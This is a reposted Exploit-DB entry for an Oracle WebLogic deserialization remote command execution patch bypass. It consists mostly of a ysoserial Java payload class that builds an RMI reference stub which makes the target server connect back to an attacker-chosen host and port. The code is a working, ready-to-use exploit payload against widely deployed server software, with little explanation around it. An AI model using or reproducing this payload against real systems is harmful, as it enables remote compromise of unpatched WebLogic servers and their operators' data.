Oracle Weblogic Server – Deserialization Remote Command Execution (Patch Bypass) - 体验盒子

作者： allyshka

日期： 2018-10-25

类别：

remote

平台：

multiple

来源：https://www.exploit-db.com/exploits/46513/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

// All respects goes to Zhiyi Zhang of 360 ESG Codesafe Team

// URL: https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/

package ysoserial.payloads;

import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;

import sun.rmi.server.UnicastRef;

import sun.rmi.transport.LiveRef;

import sun.rmi.transport.tcp.TCPEndpoint;

import ysoserial.payloads.annotation.Authors;

import ysoserial.payloads.annotation.PayloadTest;

import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;

import java.rmi.registry.Registry;

import java.rmi.server.ObjID;

import java.rmi.server.RemoteObjectInvocationHandler;

import java.util.Random;

@SuppressWarnings ( {

"restriction"

} )

@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")

@Authors({ Authors.MBECHLER })

public class JRMPClient_20180718_bypass01 extends PayloadRunner implements

ObjectPayload<ReferenceWrapper_Stub> {

public ReferenceWrapper_Stub getObject ( final String command ) throws Exception {

String host;

int port;

int sep = command.indexOf(':');

if ( sep < 0 ) {

port = new Random().nextInt(65535);

host = command;

}

else {

host = command.substring(0, sep);

port = Integer.valueOf(command.substring(sep + 1));

}

ObjID id = new ObjID(new Random().nextInt());

TCPEndpoint te = new TCPEndpoint(host, port);

UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

ReferenceWrapper_Stub stud = new ReferenceWrapper_Stub(ref);

return stud;

}

public static void main ( final String[] args ) throws Exception {

Thread.currentThread().setContextClassLoader(JRMPClient_20180718_bypass01.class.getClassLoader());

PayloadRunner.run(JRMPClient_20180718_bypass01.class, args);

}